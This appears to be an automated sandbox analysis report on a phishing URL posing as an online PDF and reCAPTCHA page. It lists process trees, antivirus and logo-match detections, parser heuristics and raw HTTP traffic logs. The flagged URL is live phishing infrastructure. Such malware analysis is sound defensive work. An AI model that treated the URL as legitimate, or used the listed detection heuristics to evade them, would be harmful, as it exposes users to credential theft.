Edit tour

Windows Analysis Report
https://pdf-online.on-fleek.app/

Overview

General Information

Sample URL:	https://pdf-online.on-fleek.app/
Analysis ID:	1520326
Infos:

Detection

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Detected non-DNS traffic on DNS port

Drops files with a non-matching file extension (content does not match file extension)

Found iframes

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Suspicious form URL found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2140 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3104 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2192,i,1005448200650348598,15467487990718780475,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6372 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pdf-online.on-fleek.app/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

Acrobat.exe (PID: 7024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\downloaded.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4504 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1716,i,16758670913067445225,6828871122202533892,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 6332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://www.citydiamondcontracting.com/contact" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6764 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4416 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6700 --field-trial-handle=1908,i,1316434060209903299,14506947510515019219,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://pdf-online.on-fleek.app/

Avira URL Cloud: detection malicious, Label: phishing

Antivirus detection for URL or domain

Source: https://pdf-online.on-fleek.app/styles.css

Avira URL Cloud: Label: phishing

Phishing

AI detected phishing page

Source: https://pdf-online.on-fleek.app/

LLM: Score: 9 Reasons: The brand 'reCAPTCHA' is well-known and is associated with Google., The legitimate domain for reCAPTCHA is 'recaptcha.net' or 'google.com/recaptcha'., The provided URL 'pdf-online.on-fleek.app' does not match the legitimate domain for reCAPTCHA., The URL contains suspicious elements such as 'on-fleek.app', which is not associated with reCAPTCHA., The use of 'pdf-online' in the URL is unrelated to reCAPTCHA and raises suspicion. DOM: 0.5.pages.csv

Phishing site detected (based on image similarity)

Source: https://www.citydiamondcontracting.com/contact#sec1

Matcher: Found strong image similarity, brand: GOOGLE

Phishing site detected (based on logo match)

Source: https://www.citydiamondcontracting.com/clients	Matcher: Template: amazon matched
Source: https://www.citydiamondcontracting.com/clients	Matcher: Template: amazon matched
Source: https://www.citydiamondcontracting.com/clients	Matcher: Template: amazon matched

Source: https://pdf-online.on-fleek.app/	HTTP Parser: Iframe src: 1.pdf
Source: https://pdf-online.on-fleek.app/	HTTP Parser: Iframe src: 1.pdf
Source: https://pdf-online.on-fleek.app/	HTTP Parser: Iframe src: 1.pdf
Source: https://pdf-online.on-fleek.app/	HTTP Parser: Iframe src: 1.pdf
Source: https://www.citydiamondcontracting.com/contact	HTTP Parser: Iframe src: https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d7220.8946438946405!2d55.258405!3d25.188133!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x50df22dfd0d09b8f!2sCity%20Diamond%20Contracting%20LLC!5e0!3m2!1sen!2sus!4v1663058383351!5m2!1sen!2sus
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/-PcNMUQloeU
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/LiEQ_JV0h4w
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/xFzWNmILl40
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/Jo_coLYPcOQ
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/erCmtRLIjD8
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/kG5xyR1406I
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/vs01gUJV3iQ
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/QJ96N5lUn0c
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Iframe src: https://www.youtube.com/embed/hOPpxvP2E28
Source: https://www.tomsher.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-0KG8DMQFJJ&gacid=170381380.1727418093&gtm=45je49p0v889720200za200&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101671035~101747727&z=1120686961
Source: https://www.tomsher.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-0KG8DMQFJJ&gacid=170381380.1727418093&gtm=45je49p0v889720200za200&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101671035~101747727&z=1120686961
Source: https://www.tomsher.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-0KG8DMQFJJ&gacid=170381380.1727418093&gtm=45je49p0v889720200za200&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101671035~101747727&z=1120686961
Source: https://www.tomsher.com/	HTTP Parser: Iframe src: https://td.doubleclick.net/td/ga/rul?tid=G-0KG8DMQFJJ&gacid=170381380.1727418093&gtm=45je49p0v889720200za200&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101671035~101747727&z=1120686961
Source: https://www.citydiamondcontracting.com/contact#sec1	HTTP Parser: Iframe src: https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d7220.8946438946405!2d55.258405!3d25.188133!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x50df22dfd0d09b8f!2sCity%20Diamond%20Contracting%20LLC!5e0!3m2!1sen!2sus!4v1663058383351!5m2!1sen!2sus

Source: https://pdf-online.on-fleek.app/	HTTP Parser: Number of links: 0
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Number of links: 1

Source: https://pdf-online.on-fleek.app/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://www.citydiamondcontracting.com/about	HTTP Parser: Title: About Us does not match URL
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: Title: DRA Product Design Industry Factory & CDC Office - YouTube does not match URL
Source: https://www.tomsher.com/	HTTP Parser: Title: Web Development & Digital Marketing Company in Dubai, UAE does not match URL

Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Legal
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Legal
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Legal
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Digital Accessibility Innovators
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Terms & Conditions
Source: https://www.tomsher.com/	HTTP Parser: Invalid link: Legal

Source: https://www.tomsher.com/	HTTP Parser: Form action: https://www.tomsher.com/submit.php
Source: https://www.tomsher.com/	HTTP Parser: Form action: https://www.tomsher.com/submit.php
Source: https://www.tomsher.com/	HTTP Parser: Form action: https://www.tomsher.com/submit.php
Source: https://www.tomsher.com/	HTTP Parser: Form action: https://www.tomsher.com/submit.php

Source: https://pdf-online.on-fleek.app/

HTTP Parser: <input type="password" .../> found

Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon
Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/contact	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/contact#sec1	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/contact#sec1	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/contact#sec1	HTTP Parser: No favicon
Source: https://www.citydiamondcontracting.com/contact#sec1	HTTP Parser: No favicon

Source: https://pdf-online.on-fleek.app/	HTTP Parser: No <meta name="author".. found
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No <meta name="author".. found
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No <meta name="author".. found
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/contact	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/about	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/certifications	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/projects	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/projects	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/projects	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/news	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/news	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/news	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/services	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/services	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/contact#sec1	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/clients	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/clients	HTTP Parser: No <meta name="author".. found
Source: https://www.citydiamondcontracting.com/clients	HTTP Parser: No <meta name="author".. found

Source: https://pdf-online.on-fleek.app/	HTTP Parser: No <meta name="copyright".. found
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No <meta name="copyright".. found
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No <meta name="copyright".. found
Source: https://pdf-online.on-fleek.app/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/contact	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/about	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/certifications	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/projects	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/projects	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/projects	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/news	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/news	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/news	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/services	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/services	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/video	HTTP Parser: No <meta name="copyright".. found
Source: https://www.tomsher.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.tomsher.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.tomsher.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.tomsher.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/contact#sec1	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/clients	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/clients	HTTP Parser: No <meta name="copyright".. found
Source: https://www.citydiamondcontracting.com/clients	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49789 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.4:65341 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:65306 -> 1.1.1.1:53

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: pdf-online.on-fleek.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styles.css HTTP/1.1Host: pdf-online.on-fleek.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://pdf-online.on-fleek.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1.pdf HTTP/1.1Host: pdf-online.on-fleek.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://pdf-online.on-fleek.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w.png HTTP/1.1Host: pdf-online.on-fleek.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pdf-online.on-fleek.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pdf-online.on-fleek.app/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w.png HTTP/1.1Host: pdf-online.on-fleek.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1.pdf HTTP/1.1Host: pdf-online.on-fleek.appConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
